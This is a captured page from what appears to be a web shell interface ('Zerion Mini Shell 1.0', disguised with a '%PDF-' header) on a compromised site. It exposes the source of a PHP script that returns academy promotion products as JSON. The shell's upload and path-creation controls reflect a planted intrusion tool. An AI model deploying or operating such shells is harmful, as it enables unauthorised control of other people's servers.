%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/www/
Upload File :
Create Path :
Current File : /home/nailstv/www/_academyPromotion.php

<?php
    /**
     * Academy Promotions
     *
     * @version 1.0
     * @since   22.10.2014
     * @author  Tamás Feik <php1@elitecosmetix.com>
     */
    require_once 'config/config.php';

    ini_set( 'display_errors', 1 );
    error_reporting( E_ALL ^ E_NOTICE );

    // Fetch the currently active products
    $response = getPromotionProducts();

    // Response in JSON
    header( "Content-type: application/json" );
    die(json_encode( $response ));

    /**
     *  Fetch the currently active products
     *  based on the Academy ID
     *
     * @return Array    Products [ name, link ]
     */
    function getPromotionProducts()
    {
        $db = Db::getInstance();
        $id = getActiveAcademy( $db );

        $kdb = Db::kdb('csbolt');


        $version = (isset($_GET['v']) ? $_GET['v'] : 0);

        if($version == $id)
            return array(0);

        $sql = "
              SELECT `ap`.`p_id` ,`ap`.`nev` as `name`,`ap`.`link`,`ap`.`presenter`
              FROM `academy_promotions` `ap`
              WHERE `ap`.`a_id` = " . $id."
              ORDER BY `ap`.`presenter` ASC";

        $r = $db->GetAssoc( $sql );

        $p_ids = array_keys($r);

        $sql2 = "
            SELECT `galeria_id`,`file`
            FROM `kep`
            WHERE `galeria_id` IN(".implode(',',$p_ids).")
            AND `def` = 't' 
            AND `tipus` = 'termek'
        ";

        $r2 = $kdb->GetAssoc( $sql2 );

        foreach($r2 as $pk => $picture)
        {
            $r[$pk]['file'] = $picture;
        }

        $presenters = array();
        foreach($r as $rid => $item)
        {
            if(!array_key_exists($item['presenter'],$presenters))
            {
                $presenters[$item['presenter']] = array();

                $new_item = $item;
                $new_item['id'] = $rid;

                $presenters[$item['presenter']][] = $new_item;
            }
            else
            {
                $new_item = $item;
                $new_item['id'] = $rid;

                $presenters[$item['presenter']][] = $new_item;
            }
        }

        if(empty($r))
            return array(0);

        return array('id' => $id,'content' => $r,'presenters' => $presenters);
    }

    // crystal.hu/bolt - cshopdb picture

    /**
     * Fetch the currently active Academy ID
     *
     * @param $db   Database resource
     *
     * @return int  Academy ID
     */
    function getActiveAcademy( $db )
    {
        $sql = "SELECT `value` FROM `academy_promotions_settings` WHERE name = 'active'";

        $r = $db->GetRow( $sql );

        return $r['value'];
    }

Zerion Mini Shell 1.0